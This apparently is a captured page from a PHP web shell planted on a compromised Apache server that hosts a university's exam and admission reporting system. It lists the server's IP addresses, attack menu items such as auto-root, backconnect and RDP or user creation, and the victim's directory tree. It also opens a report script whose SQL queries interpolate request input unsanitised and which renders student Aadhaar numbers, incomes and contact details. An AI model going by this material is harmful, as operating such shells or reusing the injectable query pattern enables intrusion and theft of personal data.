Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.226.248.17
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
AttDateWiseReportexcel.php
4.39
KB
-rw-r--r--
Attdet.php
7.1
KB
-rw-rw-r--
AttdetPdf.php
8.74
KB
-rw-rw-r--
AttdetPdfUniclare.php
7.49
KB
-rw-rw-r--
AttdetexcelUniclare.php
5.48
KB
-rw-rw-r--
CIEAttendanceNotEligiblepdf.ph...
6.83
KB
-rw-rw-r--
CIEpendingListpdf.php
9.05
KB
-rw-rw-r--
DegreeWiseStudLstUSN.php
7.69
KB
-rw-rw-r--
DownloadExamAppFormApplication...
10.92
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.49
KB
-rwxrwxrwx
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
12.51
KB
-rwxrwxrwx
RvRtApplicationReport.php
8.86
KB
-rwxr-xr-x
absentAndMalReportPdf.php
11.5
KB
-rw-rw-r--
absentandmalpracticereport.php
10.16
KB
-rw-rw-r--
ack_exam_app_form_bulk.php
11.76
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxrwxrwx
admregisterlist.php
7.39
KB
-rwxr-xr-x
affliation_detailed_report.php
12.56
KB
-rwxrwxrwx
appear_list_center_qp_wise.php
13.07
KB
-rwxr-xr-x
appear_list_qp_wise.php
6.32
KB
-rwxr-xr-x
appfeedetails.php
7.67
KB
-rwxr-xr-x
approval_report.php
19.63
KB
-rwxr-xr-x
attCisshortList.php
15.61
KB
-rw-r--r--
attCisshortList_sjbit.php
12.82
KB
-rw-r--r--
attDegwiseReport.php
14.2
KB
-rw-r--r--
attendanceReportForm.php
5.69
KB
-rw-rw-r--
attendanceform_pdf.php
12.35
KB
-rw-r--r--
attiacombined.php
9.52
KB
-rw-r--r--
attiacombinedReportnewexcel_sj...
12.94
KB
-rw-rw-r--
attiacombinednew.php
12.66
KB
-rw-r--r--
attiacombinednew_1.php
12.34
KB
-rw-r--r--
attiacombinednew_2.php
12.33
KB
-rw-r--r--
attiacombinednew_sjbit.php
8.7
KB
-rw-r--r--
attshortlist.php
10.72
KB
-rw-r--r--
basic_data_coll.php
6.79
KB
-rwxr-xr-x
basic_data_sum.php
6.98
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
board.php
3.86
KB
-rw-rw-r--
bundle_ack.php
13.58
KB
-rwxr-xr-x
candidatelist.php
10
KB
-rw-rw-r--
categorywisereport.php
13.27
KB
-rwxr-xr-x
categorywisereportpdf.php
7.57
KB
-rw-rw-r--
cntrtagcollstud.php
4.99
KB
-rw-rw-r--
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.78
KB
-rwxrwxrwx
college_pending_markslist19032...
6.48
KB
-rwxr-xr-x
convoreport.php
5.56
KB
-rw-rw-r--
copomarksexternalreportexcel.p...
7.02
KB
-rw-rw-r--
daterange.php
6.27
KB
-rw-rw-r--
degreeDetailsReport.php
7
KB
-rw-rw-r--
degreewiseMarksEntryStats.php
8.44
KB
-rw-rw-r--
elememntWiseReport.php
16.11
KB
-rw-rw-r--
empty_report_admission_det.php
8.91
KB
-rw-rw-r--
enterCOPOmarks.php
2.94
KB
-rw-rw-r--
exam_attendance_det.php
8.61
KB
-rwxr-xr-x
exam_attendance_summary.php
9.78
KB
-rwxr-xr-x
excelreport.php
27.36
KB
-rw-rw-r--
fpdf.php
147.08
KB
-rw-rw-r--
generate.php
7.32
KB
-rw-rw-r--
generateCorseRep.php
7.93
KB
-rw-r--r--
generateDaliyReportQpNitteExce...
16.34
KB
-rw-rw-r--
generatePostAdmissionTicket.ph...
51.8
KB
-rwxr-xr-x
generatePostAdmissionTicketJss...
58.53
KB
-rwxr-xr-x
generatePostAdmissionTicket_25...
47.13
KB
-rwxr-xr-x
generatePostAdmissionTicket_ol...
37.45
KB
-rwxr-xr-x
generatePrintIaMarks.php
16.19
KB
-rw-rw-r--
generatePrintIaMarksnew.php
16.28
KB
-rw-r--r--
generatePrintIaMarksnewXl.php
13.22
KB
-rw-rw-r--
generateQuestionWiseIAReportPD...
18.73
KB
-rw-rw-r--
generateThValReport.php
7.4
KB
-rw-r--r--
generateXlGraph.php
3.87
KB
-rw-rw-r--
generateadmissionreg.php
11.81
KB
-rw-r--r--
generatecoporeport_xl.php
21.08
KB
-rw-rw-r--
gerderwiseresultsheet.php
12.08
KB
-rwxr-xr-x
getDegree.php
2.27
KB
-rw-rw-r--
getDegreeAndSem.php
4.32
KB
-rw-r--r--
getIaSubjWiseReport.php
0
B
-rw-rw-r--
getNitteAdmXlreport.php
14.74
KB
-rw-rw-r--
getReportClassStud.php
6.03
KB
-rw-rw-r--
getTestTotalMarksReport.php
9.49
KB
-rw-rw-r--
getiaabsentreport.php
6.8
KB
-rw-r--r--
gradewisesubjectanalysisreport...
24.66
KB
-rw-r--r--
gradewisesubjectanalysisreport...
20.73
KB
-rw-r--r--
headerNfooter.php
4.89
KB
-rw-rw-r--
iaDegwiseIAReport.php
12.58
KB
-rw-rw-r--
iaMarksQnWiseReportExcel.php
25.41
KB
-rw-rw-r--
iaMarksReportPDF.php
10.84
KB
-rw-r--r--
iaSubjectWiseReport.php
10.74
KB
-rw-rw-r--
ia_room_allotment_datewise.php
9.08
KB
-rwxr-xr-x
iaemptyformat.php
9.63
KB
-rwxr-xr-x
iaroomallotmantsummary.php
5.28
KB
-rwxr-xr-x
iasectionwisenew.php
36.02
KB
-rw-rw-r--
invig_report.php
10.18
KB
-rw-rw-r--
invig_report_summary.php
7.74
KB
-rw-rw-r--
latEntryRprt.php
6.4
KB
-rwxr-xr-x
markListReportPdf.php
21.32
KB
-rw-rw-r--
markListReportPdfnew.php
49.6
KB
-rw-r--r--
markListReportPdfnew_24112023....
42.93
KB
-rw-r--r--
marksEntryQnWiseNewReport.php
13.13
KB
-rw-rw-r--
marksentryquestionwise.php
23.83
KB
-rw-rw-r--
mregistry.php
152.75
KB
-rw-rw-r--
pdfacknowledgeAppNo.php
10.95
KB
-rw-rw-r--
pendingcie.php
0
B
-rw-rw-r--
photo_report.php
7.04
KB
-rw-rw-r--
pi_test.php
3.45
KB
-rw-r--r--
picharttesting.php
24.78
KB
-rw-rw-r--
prbillreports.php
16.32
KB
-rw-rw-r--
principalFreeze_report.php
7.23
KB
-rw-rw-r--
printIaMarks.php
12.74
KB
-rw-r--r--
printIaMarks_old.php
12.74
KB
-rw-rw-r--
printMarkListDetailsWisenew.ph...
10.1
KB
-rw-r--r--
printMarkListDetailsWisenewExc...
15.52
KB
-rw-rw-r--
printMarkListDetailsWisenew_CI...
3.98
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
15.69
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
14.54
KB
-rw-r--r--
printMarkListSubWiseJssstu.php
28.4
KB
-rw-rw-r--
print_applications_ru.php
26.59
KB
-rw-rw-r--
progDegwiseReportPdf.php
14.15
KB
-rw-rw-r--
provisionExcelReportSrun.php
12.73
KB
-rw-rw-r--
qp_issue.php
8.47
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
56.9
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
33.16
KB
-rwxr-xr-x
qrhallticket.php
56.1
KB
-rw-rw-r--
r
9.23
KB
-rwxr-xr-x
regNoAllot.php
35.56
KB
-rw-rw-r--
reg_stud_list.php
8.65
KB
-rwxr-xr-x
reportAttClassCreate.php
5.14
KB
-rw-rw-r--
reportAttCount.php
12.89
KB
-rw-r--r--
reportAttCount_old_08112022.ph...
11.11
KB
-rw-r--r--
report_Xl_getpendingstudentLis...
7.93
KB
-rw-rw-r--
report_adm_lat_studwise.php
10.13
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
49.63
KB
-rwxr-xr-x
report_admission_list_bf_gcg.p...
26.39
KB
-rwxr-xr-x
report_admission_list_kswu.php
15.12
KB
-rwxr-xr-x
report_admission_list_rur.php
28
KB
-rw-rw-r--
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_ticket.php
77.87
KB
-rw-rw-r--
report_admission_ticket_bf_uuc...
37.63
KB
-rwxr-xr-x
report_admission_ticket_jsstu....
70.16
KB
-rw-r--r--
report_admission_ticket_new.ph...
65.79
KB
-rw-rw-r--
report_attendance_sheet.php
23.77
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rw-rw-r--
report_attendance_summary.php
11.48
KB
-rwxr-xr-x
report_attendance_summary_old....
7.19
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.35
KB
-rwxr-xr-x
report_batch_wise_details.php
8.86
KB
-rwxr-xr-x
report_batch_worksheet_details...
20.02
KB
-rwxr-xr-x
report_bulk_applications.php
26.15
KB
-rwxr-xr-x
report_bulk_applications_nitte...
26
KB
-rw-rw-r--
report_bundle_dispatch.php
15.36
KB
-rwxr-xr-x
report_candidate_list.php
31.41
KB
-rwxr-xr-x
report_candidate_list_old.php
29.91
KB
-rwxr-xr-x
report_copoMarksList.php
23.88
KB
-rw-rw-r--
report_daliy_report.php
10.47
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.21
KB
-rwxr-xr-x
report_daliy_report_qp_nitte.p...
20.31
KB
-rwxr-xr-x
report_daliy_report_qp_sjbit.p...
17.49
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_ia_ra_invigilator_dairy...
20.87
KB
-rwxr-xr-x
report_ia_ra_roomwise_register...
27.06
KB
-rw-r--r--
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_invigilatorDairy.php
46.77
KB
-rw-rw-r--
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
6.55
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
21.94
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.43
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
23.65
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_practical_marks_details...
13.32
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_ra_exl_report.php
6.89
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
46.94
KB
-rwxr-xr-x
report_ra_invigilator_dairy_bf...
22.69
KB
-rwxr-xr-x
report_ra_invigilator_dairy_gu...
19.86
KB
-rwxr-xr-x
report_ra_invigilator_dairy_ne...
49.39
KB
-rwxr-xr-x
report_ra_invigilator_dairy_sj...
32.35
KB
-rwxr-xr-x
report_ra_invigilator_dairy_st...
19.82
KB
-rw-rw-r--
report_ra_invigilators_dairy.p...
9.27
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
10.97
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.74
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
11.21
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.67
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
26.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
27.15
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_reg_list.php
33.33
KB
-rw-rw-r--
report_reg_list_gcg.php
33.55
KB
-rw-rw-r--
report_reg_list_gcg_new_040120...
33.12
KB
-rw-rw-r--
report_registerNoListNoticeBoa...
25.84
KB
-rw-rw-r--
report_registerNoListRoomBoard...
22.08
KB
-rw-rw-r--
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_roomallotmentExcel.php
8.31
KB
-rw-rw-r--
report_subject_admcl_list.php
3.68
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.89
KB
-rwxr-xr-x
resultsheet.php
12.82
KB
-rwxr-xr-x
resultsheetExcel.php
6.37
KB
-rw-r--r--
resultsheet_x.php
9.15
KB
-rwxr-xr-x
resultsheetsubwise.php
11.24
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment_datewise_stph.p...
21.46
KB
-rwxr-xr-x
roomallotmantsummary.php
6.66
KB
-rwxr-xr-x
roomallotmantsummarynew.php
7.09
KB
-rwxr-xr-x
roomallotmantsummarysubjwise.p...
9.26
KB
-rw-rw-r--
roomallotmantsummarysubjwisene...
9.89
KB
-rw-r--r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomwise_register_nos_list.php
27.87
KB
-rwxr-xr-x
roomwise_register_nos_list_new...
29.38
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
semesterWiseResultReportpdf.ph...
11.03
KB
-rw-rw-r--
shortageReport.php
11.05
KB
-rw-rw-r--
std_regstr_det_reprt_xl.php
7.6
KB
-rw-rw-r--
stringspliter.php
718
B
-rwxr-xr-x
stud_wise_report.php
8.97
KB
-rw-rw-r--
studentHisResult.php
8.34
KB
-rw-r--r--
student_count.php
4.16
KB
-rwxr-xr-x
studentwiseresult.php
18.02
KB
-rw-rw-r--
studentwiseresultExcelReport.p...
10.29
KB
-rw-rw-r--
subWiseFailedStudExcelReport.p...
9.02
KB
-rw-rw-r--
subWiseFailedStudSummary.php
7.78
KB
-rw-rw-r--
subjRegReport.php
8.42
KB
-rw-r--r--
subjectDetailsReport.php
13.93
KB
-rw-rw-r--
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
subjwisepasspercentage.php
10.99
KB
-rw-rw-r--
subjwisepasspercentagePie.php
10.92
KB
-rw-r--r--
subjwiseressheet.php
12.92
KB
-rwxr-xr-x
subwiseGrafAnalysis.php
20.04
KB
-rw-r--r--
subwiseGrafAnalysis1.php
22.44
KB
-rw-r--r--
subwiseResultReport.php
12.75
KB
-rw-rw-r--
tatkal.php
4.84
KB
-rwxr-xr-x
teachFreeze_report.php
8.96
KB
-rw-r--r--
teacher_report.php
11.26
KB
-rwxr-xr-x
teacher_val_report.php
10.59
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.73
KB
-rwxrwxrwx
topsheet.php
8.59
KB
-rwxr-xr-x
verifystud.php
8.38
KB
-rwxr-xr-x
viewexamcentrenew.php
20.7
KB
-rw-rw-r--
xl_AckAppReport.php
10.02
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_bulk_applications_nitte.php
<?php $main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); //$pdf_writer_class =$main_src."/tarka_pdf/fpdf.php"; $pdf_writer_class =$main_src."/tcpdf/tcpdf.php"; require_once($pdf_writer_class); ini_set('memory_limit','900M'); ini_set('max_execution_time',0); class MYPDF extends TCPDF { public $aobj_context; public function setData($aobj_context){ $this->aobj_context = $aobj_context; } public function Header() { // get the current page break margin $bMargin = $this->getBreakMargin(); // get current auto-page-break mode $auto_page_break = $this->AutoPageBreak; // disable auto-page-break $this->SetAutoPageBreak(false, 0); // set bacground image $this->SetMargins(10,34,20,true); $this->SetFillColor(248, 248 ,255); $db = trim($this->aobj_context->mobj_data["db"]); $img_path = $this->aobj_context->main_src."/$db/img/logo.jpg"; // var_dump($db); if(file_exists($img_path)) $this->Image($img_path,10,6,20,20); $this->SetFont('Times', 'B', 14); $this->SetY(5); $this->Cell(0, 4, $this->aobj_context->FUNIVNAME, 0, 1, 'C'); //state $this->SetFont('Times', '', 11); $this->Cell(0, 4, $this->aobj_context->s_state, 0, 1, 'C'); $this->SetFont('Times', 'B', 11); $this->Cell(0, 5, $this->aobj_context->col_name, 0, 1, 'C'); $this->SetFont('Times', 'B', 12); $cur_year = date("Y"); $this->Cell(186, 5, 'Application for Admission (' . $this->aobj_context->FADYEAR . ')', '0', 1, 'C'); $this->SetFont('Times', 'B', 11); $this->Cell(186, 5, $this->aobj_context->degree, '0', 1, 'C'); $this->Ln(1); $style = array( 'position' => 'right', 'align' => 'C', 'stretch' => false, 'fitwidth' => true, 'cellfitalign' => '', 'border' => false, 'hpadding' => 'auto', 'vpadding' => 'auto', 'fgcolor' => array(0, 0, 0), 'bgcolor' => false, //array(255,255,255), 'text' => true, 'font' => 'helvetica', 'fontsize' => 8, 'stretchtext' => 4 ); // var_dump($this->aobj_context->FAPPNO); $this->write1DBarcode($this->aobj_context->FAPPNO, 'C39', '153', '1', 90, 16, 0.25, $style, 'R'); // restore auto-page-break status $this->SetAutoPageBreak($auto_page_break, $bMargin); // set the starting point for the page content } public function Footer() { $this->SetY(-15); $this->SetFont('helvetica', 'I', 8); $this->Cell(50, 10,'IP : '.$_SERVER["REMOTE_ADDR"], 0, 0, 'L'); $this->Cell(100, 10,'Date : ' .$this->aobj_context->current_date, 0, 0, 'C'); $this->Cell(50, 10,'Page ' .$this->getPageNumGroupAlias().'/'.$this->getPageGroupAlias(), 0, 1, 'R'); } } class AddmissionApplication { function DefaultConstructor($aobj_context) { $this->aobj_context=$aobj_context; //$this->pdf= new FPDF(); $this->collcode=$_SESSION['collcode']; $this->ip=$_SERVER["REMOTE_ADDR"]; $get_date="select DATE_FORMAT(now(), '%d/%m/%Y') as now_date"; $obj=$this->aobj_context->mobj_db->GetRow($get_date); $get_coll_name="select FUNIVNAME as 'FUNIVNAME',FUNIVCODE, FUNIVADD1 as 'state', pdf_logo_path, ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control"; $lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name); $aobj_context->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME']; $aobj_context->s_state=$lobj_get_coll_name['state']; $aobj_context->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path']; $aobj_context->FEXAMAPPREQ=$lobj_get_coll_name['FEXAMAPPREQ']; $aobj_context->FUNIVCODE=$lobj_get_coll_name['FUNIVCODE']; $get_college_name="select concat(FCOLLCODE,' - ',FCOLLNAME,', ',FTOWN) as col_name from college where FCOLLCODE='{$aobj_context->fcollcode}'"; $lobj_get_college_name = $this->aobj_context->mobj_db->GetRow($get_college_name); $aobj_context->col_name = $lobj_get_college_name['col_name']; $this->aobj_context->current_date = $obj['now_date']; $app_no = trim($aobj_context->mobj_data["app_no"]); $query = "select d.fdescpn as degree,ifnull(d.fadmyear,'') as fadmyear from studadm s inner join degree d on s.fdegree = d.fdegree and d.fexamno = 'a' and fappno = '{$app_no}'"; $result = $this->aobj_context->mobj_db->GetRow($query); $aobj_context->degree = $result['degree']; $aobj_context->FADYEAR = $result['fadmyear']; $this->aobj_context->current_date = $obj['now_date']; $this->current_date = $obj['now_date']; $this->pdf= new MYPDF('P'); $this->pdf->setData($aobj_context); } function formcolldata() { $get_coll_name="select FUNIVNAME as 'FUNIVNAME',FUNIVCODE, FUNIVADD1 as 'state', pdf_logo_path, ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control"; $lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name); $this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME']; $this->s_state=$lobj_get_coll_name['state']; $this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path']; $this->FEXAMAPPREQ=$lobj_get_coll_name['FEXAMAPPREQ']; $this->FUNIVCODE=$lobj_get_coll_name['FUNIVCODE']; } function writeApplication($per_details, $subjects,$FUNIVCODE) { // var_dump($per_details);die(); $pdf=$this->pdf; $pdf->SetMargins(10,40,20,false); $pdf->startPageGroup(); $pdf->AddPage("P"); $pdf->SetFont('Times','',9); //$keyname = "027/".urlencode($per_details['fphotopath']); //$full_photo_path = "https://university-student-photos.s3.ap-south-1.amazonaws.com/".$keyname; //====================Personal Details==================================== $html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);"> Personal Details</h3>'; $x = $pdf->GetX(); $y = $pdf->GetY(); $pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false); // $pdf->ln(2); //$path = realpath(__DIR__ . '/..'); $path = "https://university-student-photos.s3.ap-south-1.amazonaws.com/".$_SESSION['FUNIVCODE']; // var_dump($path.'/'.$per_details['fphotopath']); $photopath = $path .'/'.$per_details['fphotopath']; $fnation = ""; if($per_details['fnationality'] == "" || $per_details['fnationality'] == NULL){ $fnation = $per_details['fnational']; }else{ $fnation = $per_details['fnationality']; } $fblood = ""; // var_dump($per_details['fbloodgrp'],$per_details['fblood_group']);die(); if($per_details['fbloodgrp'] == "" || $per_details['fbloodgrp'] == NULL){ $fblood = $per_details['fblood_group']; }else{ $fblood = $per_details['fbloodgrp']; } $i= 1; $table1 = '<style> td { border: 0.5px solid black; } .lable { font-weight: bold; } </style> <table cellpadding="3" cellspacing="0"> <tr nobr="true"> <td width="150" class="lable">NUCAT No.</td> <td width="135" style = "font-size:15px;">'.$per_details['fnucatno'].'</td> <td width="70" class="lable">NUCAT Rank</td> <td width="165" style = "font-size:15px;">'.$per_details['fnucatrank'].'</td> </tr> <tr nobr="true"> <td width="150" class="lable">Application No.</td> <td width="135" colspan="2" style = "font-size:15px;">'.$per_details['fappno'].'</td> <td width="70" class="lable">Adm. Date</td>'; if($_SESSION['FUNIVCODE'] == "050"){ $table1.='<td width="65" >'.$per_details['admdate'].'</td>'; $table1.='<td width="100" rowspan="5" colspan="2" border="0" ><img width="100" height="100" src="'.$photopath.'" /></td>'; }else{ $table1.='<td width="165" >'.$per_details['admdate'].'</td>'; } $table1.='</tr>'; // var_dump($aobj_context); // var_dump($path.'/'.urlencode($per_details['fphotopath'])); $table1 .='<tr nobr="true"> <td width="150" class="lable">Name of the Applicant</td>'; if($_SESSION['FUNIVCODE'] == "050"){ $table1.='<td width="270" colspan="2">'.$per_details['fname'].'</td></tr>'; }else{ $table1.='<td width="370" colspan="2">'.$per_details['fname'].'</td></tr>'; } $table1 .='<tr nobr="true"> <td width="150" class="lable" >Father`s /Guardian`s Name</td>'; if($_SESSION['FUNIVCODE'] == "050"){ $table1 .='<td width="270" colspan="2">'.$per_details['ffatname'].'</td></tr>'; }else{ $table1 .='<td width="370" colspan="2">'.$per_details['ffatname'].'</td></tr>'; } $table1 .='<tr nobr="true"> <td width="150" class="lable">Mother`s Name</td>'; if($_SESSION['FUNIVCODE'] == "050"){ $table1 .='<td width="270" colspan="2">'.$per_details['fmotname'].'</td></tr>'; }else{ $table1 .='<td width="370" colspan="2">'.$per_details['fmotname'].'</td></tr>'; } $table1 .='<tr nobr="true"> <td width="150" class="lable">Date of Birth</td> <td width="135">'.$per_details['fdob'].'</td> <td width="70" class="lable">Gender</td>'; if($_SESSION['FUNIVCODE'] == "050"){ $table1 .='<td width="65">'.$per_details['fgender'].'</td>'; }else{ $table1 .='<td width="165">'.$per_details['fgender'].'</td>'; } $table1 .='</tr>'; $table1 .='<tr nobr="true"> <td width="150" class="lable">Nationality</td> <td width="135">'.$fnation.'</td> <td width="70" class="lable">Religion</td> <td width="165">'.$per_details['freligion'].'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="150" class="lable">Caste</td> <td width="135">'.$per_details['fcatecode'].'</td> <td width="70" class="lable">Category</td> <td width="165" >'.$per_details['fcaste'].'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="150" class="lable">Aadhaar No.</td> <td width="135">'.$per_details['faadharno'].'</td> <td width="135" class="lable">Blood Group</td> <td width="100" >'.$fblood.'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="150" class="lable">Father Occupation</td> <td width="135">'.$per_details['ffatocc'].'</td> <td width="135" class="lable">Father Income</td> <td width="100">'.$per_details['ffatincome'].'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="150" class="lable">Mother Occupation</td> <td width="135">'.$per_details['fmotocc'].'</td> <td width="135" class="lable">Mother Income</td> <td width="100">'.$per_details['fmotincome'].'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="150" class="lable">State of Study</td> <td width="135">'.$per_details['fboardstate'].'</td> <td width="135" class="lable">Mother Tongue</td> <td width="100">'.$per_details['fmottong'].'</td> </tr>'; // $table1 .='<tr nobr="true"> // <td width="150" class="lable">Physicaly disabled</td> // <td width="370">'.$per_details['fph'].'</td> // </tr>'; $table1 .= '</table>'; // var_dump($_SESSION['FUNIVCODE']); $pdf->SetX(11); $pdf->writeHTML($table1, true, true, false, false, 'L'); $html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);"> Contact Details</h3>'; $x = $pdf->GetX(); $y = $pdf->GetY(); $pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false); // $pdf->ln(2); $table2 = '<style> td { border: 0.5px solid black; } .lable { font-weight: bold; } </style> <table cellpadding="3" cellspacing="0"> <tr nobr="true"> <td width="150" class="lable">Father Mobile No.</td> <td width="135">'.$per_details['ffatmob'].'</td> <td width="90" class="lable">Father Email</td> <td width="145" >'.$per_details['ffatemail'].'</td> </tr>'; $table2 .='<tr nobr="true"> <td width="150" class="lable">Mother Mobile No.</td> <td width="135">'.$per_details['fmotmob'].'</td> <td width="90" class="lable">Mother Email</td> <td width="145" >'.$per_details['fmotemail'].'</td> </tr>'; $table2 .='<tr nobr="true"> <td width="150" class="lable">Guardian Mobile No.</td> <td width="135">'.$per_details['fguamob'].'</td> <td width="90" class="lable">Guardian Email</td> <td width="145" >'.$per_details['fguaemail'].'</td> </tr>'; $table2 .='<tr nobr="true"> <td width="150" class="lable">Student Mobile No.</td> <td width="135">'.$per_details['fstudmob'].'</td> <td width="90" class="lable">Student Email</td> <td width="145" >'.$per_details['fstudemail'].'</td> </tr>'; $table2 .='<tr nobr="true"> <td width="150" class="lable">Communication Address</td> <td width="370">'.$per_details['comadd'].'</td> </tr>'; $table2 .='<tr nobr="true"> <td width="150" class="lable">Permanent Address</td> <td width="370">'.$per_details['peradd'].'</td> </tr>'; $table2 .= '</table>'; $pdf->SetX(11); $pdf->writeHTML($table2, true, true, false, false, 'L'); // ====================Degree Details==================================== // $pdf->AddPage("P"); $html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);">PUC/12th Study Details</h3>'; $x = $pdf->GetX(); $y = $pdf->GetY(); $pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false); // $pdf->ln(1); $pdf->SetX(11); $table4 = '<style> td { border: 0.5px solid black; } .lable { font-weight: bold; } </style> <table cellpadding="3" cellspacing="0"> <tr nobr="true"> <td width="150" class="lable">Qualifying Course</td> <td width="135">'.$per_details['fqual'].'</td> <td width="90" class="lable">Reg No.</td> <td width="145" >'.$per_details['fqregno'].'</td> </tr>'; $table4 .='<tr nobr="true"> <td width="150" class="lable">College Name</td> <td width="135">'.$per_details['fqcollname'].'</td> <td width="90" class="lable">Area Type</td> <td width="145" >'.$per_details['fareatype'].'</td> </tr>'; $table4 .='<tr nobr="true"> <td width="150" class="lable">Name of Board</td> <td width="135">'.$per_details['fboard'].'</td> <td width="90" class="lable">Year of passing</td> <td width="145" >'.$per_details['fqyear'].'</td> </tr>'; $table4 .='<tr nobr="true"> <td width="150" class="lable">Board State</td> <td width="370">'.$per_details['fboardstate'].'</td> </tr>'; $table4 .='<tr nobr="true"> <td width="150" class="lable">SSLC / 10th Percentage</td> <td width="370">'.$per_details['fsscperc'].'</td> </tr>'; $table4 .= '</table>'; $pdf->SetX(11); $pdf->writeHTML($table4, true, true, false, false, 'L'); // $table5 = '<style> // td, th { // border: 0.5px solid black; // } // </style> // <table cellpadding="3" cellspacing="0"> // <tr nobr="true"> // <thead> // <th width="100" align="center"><b>Subject</b></th> // <th width="100" align="center"><b>Max. Marks</b></th> // <th width="110" align="center"><b>Marks Obtained</b></th> // <th width="110" align="center"><b>Percentage</b></th> // </thead> // </tr>';//Percentage // $table5 .= '<tr nobr="true"> // <td width="100">Physics</td> // <td width="100" align="center">'.$per_details['fpcmmax'].'</td> // <td width="110" align="center">'.$per_details['fpcmsec'].'</td> // <td width="110" align="center" rowspan="3"></td> // </tr>'; // $table5 .= '<tr nobr="true"> // <td width="100">Mathematics</td> // <td width="100" align="center">'.$per_details['fmatmax'].'</td> // <td width="110" align="center">'.$per_details['fmatsec'].'</td> // </tr>'; // $table5 .= '<tr nobr="true"> // <td width="100">Chemistry</td> // <td width="100" align="center">'.$per_details['fchemax'].'</td> // <td width="110" align="center">'.$per_details['fchesec'].'</td> // </tr>'; // $table5 .= '<tr nobr="true"> // <td width="100">PCM Total</td> // <td width="100" align="center">'.$per_details['fpcmmax'].'</td> // <td width="110" align="center">'.$per_details['fpcmsec'].'</td> // <td width="110" align="center">'.$per_details['fpcmmax'].'</td> // </tr>'; // $table5 .= '<tr nobr="true"> // <td width="100">PUC/12th Total</td> // <td width="100" align="center">'.$per_details['fpcmax'].'</td> // <td width="110" 